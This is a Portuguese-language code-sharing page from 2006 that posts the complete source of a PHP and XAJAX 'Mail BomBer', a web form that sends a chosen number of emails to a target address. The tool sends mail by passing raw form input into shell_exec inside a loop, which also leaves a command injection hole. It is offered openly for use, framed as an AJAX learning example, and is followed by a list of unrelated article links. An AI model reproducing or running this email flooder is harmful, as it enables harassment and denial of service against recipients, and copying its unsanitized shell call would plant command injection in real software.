Mail BomBer 1.0
Publicado por Thiago Fernandes de Melo 16/08/2006
[ Hits: 6.160 ]
Homepage: http://www.hospedarfacil.com.br
Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.
<?
require_once("xajax.inc.php");
function limp()
{
$objResponse = new xajaxResponse();
if($a['qts'] < 100)
$Resposta = "";
$objResponse->addAssign("checando","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function check($a)
{
$objResponse = new xajaxResponse();
if($a['qts'] > 10)
$Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>";
$objResponse->addAssign("checando","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkdestino($a)
{
$objResponse = new xajaxResponse();
if($a['destino'] == "")
$Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";
$objResponse->addAssign("checando1","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkassunto($a)
{
$objResponse = new xajaxResponse();
if($a['assunto'] == "")
$Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";
$objResponse->addAssign("checando2","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function flood($a)
{
$objResponse = new xajaxResponse();
$Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " ";
$objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true)));
return $objResponse->getXML();
}
///////////////////////////////////////////////////
function fdnow($a)
{
$objResponse = new xajaxResponse();
$s = $a['qts'];
$as = $a['assunto'];
$dss = $a['msg'];
$ds = $a['destino'];
for($i = 0; $i<$s;$i++){
$Send[$i] = "Enviando " .$i. " de " .$s. "";
shell_exec("echo $as |mail -s $dss $ds");
}
$objResponse->addAssign("fding","innerHTML", print_r($Send, true));
return $objResponse->getXML();
}
///////////////////////////////////////////////////
$xajax = new xajax();
$xajax->registerFunction("flood");
$xajax->registerFunction("check");
$xajax->registerFunction("checkdestino");
$xajax->registerFunction("checkassunto");
$xajax->registerFunction("limp");
$xajax->registerFunction("fdnow");
$xajax->processRequests();
?>
<html>
<head>
<? $xajax->printJavascript(); ?>
</head>
<body>
<form name=tx><table>
<tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr>
<tr><td>Assunto:</td><td><input type=text name=assunto onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr>
<tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr>
<tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr>
<tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table>
<tr><td><div id="fding">Aguardando...</div></td></tr>
</form>
</body>
</html>
Monitoramento simples de servidores [versão 1.0]
Fast Template CVS revision 1.2.0
Nenhum comentário foi encontrado.
Cirurgia para acelerar o openSUSE em HD externo via USB
Void Server como Domain Control
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Como fazer a conversão binária e aplicar as restrições no Linux
Como quebrar a senha de um servidor Linux Debian
Como bloquear pendrive em uma rede Linux
Um autoinstall.yaml para Ubuntu com foco em quem vai fazer máquina virtual
Instalar GRUB sem archinstall no Arch Linux em UEFI Problemático









